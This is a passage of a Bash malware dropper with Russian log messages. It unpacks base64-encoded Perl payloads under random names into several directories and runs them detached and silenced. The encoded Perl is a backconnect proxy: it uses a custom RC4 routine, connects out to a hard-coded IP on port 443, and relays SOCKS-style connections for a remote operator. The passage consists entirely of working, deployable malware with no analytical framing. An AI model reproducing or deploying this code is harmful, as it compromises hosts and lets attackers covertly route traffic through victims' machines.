ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #2 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #2 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 3 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 